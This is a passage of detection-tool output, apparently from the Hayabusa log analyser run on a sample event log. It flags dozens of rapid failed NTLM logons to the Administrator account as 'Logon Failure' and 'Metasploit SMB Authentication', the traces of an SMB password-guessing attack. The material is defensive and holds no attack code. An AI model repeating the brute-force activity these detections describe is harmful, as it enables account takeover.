Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.057 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f5g1ZKpZuZU1WRoC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.057 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.108 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h4ST7RrHJxAQHHbn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.108 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GtW1hBHF97YqvN4N : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.149 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.189 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xVKlPytPofO9LQBm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.189 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.235 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GOkZ9yjvfL51UYXo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.235 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.277 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fAxfxSbRqGO7Dej0 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.277 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.313 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: D7XmvDYk6zFLir09 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.313 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.355 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mWcl6CKdSMxd8edZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.355 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.396 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SxBQlFZvGBqDdobn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.396 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.435 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AXN94VanwME6q8rc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.435 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.467 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JOj7CZ3stJXePY8b : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.467 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.513 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DXjmqxguFGL3f8cV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.513 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.560 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qHWmdxnRrMbxrdlN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.560 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.681 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6ROBnjuyHn4FRugk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.681 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.754 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zGxuUxasL680O21l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.754 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.812 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CYoM984EzAkUtBoa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.812 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.857 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0e3ATNpzeeAf6Qax : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.857 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.889 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q1A0dGhpVy8kgiRP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.889 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.935 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xGgNAKJM5RAt9B5K : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.935 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.981 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: c3DpedXujvQpZnjQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:28.981 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.019 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BsaSjESaUHbsIxJL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.019 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.062 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ca4dlxyEco3VOapw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.062 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.100 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9Z6lJc7DXAOcNZ2G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.100 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.144 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5Olt5mS7na07VDJE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.144 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.185 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oCFeQcUMDTs0ev8v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.185 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.233 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FYmH6CQrizoZ1DAx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.233 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.285 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iYtujXkzySwZQFk8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.285 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.327 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KE9v6wzrebvjvDIl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.327 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.365 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 81gmRFFBHI1s4dqi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.365 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.409 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: C8gHWPDjQM8M3tiQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.409 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.442 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: szj4mJvtFV06CuR2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.442 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.493 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ceGEl87hOM0InAAd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.493 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.541 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XRv3C3rRxYXTgckj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.541 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.581 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TaPkJPIQnbL3VyUC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.581 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.618 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LZ7PZAT6hWWHNc29 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.618 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.664 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AJVD4uVhwfLSJ6Ab : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.664 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q6KME1I6tE0v9UAq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.704 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.751 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1Qtt1rk4n3tOJko2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.751 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: prPsA8EZHGfGPSHm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.793 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.825 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TQqGXnwHtB87LSzT : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.825 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.870 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 6uLT1bjaIS0XBsWC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.870 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.921 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PIgpraQTxFrcLphN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.921 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.957 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q1D6qy57XImq4prx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.957 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.992 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5Kw44Ffh4DIPlyuM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:29.992 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: oKUdmKU74RmJysAx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.037 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gZUTzZw0T1tYRSP5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.085 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.127 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nEOfjuAMa7HTsfcP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:30.127 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 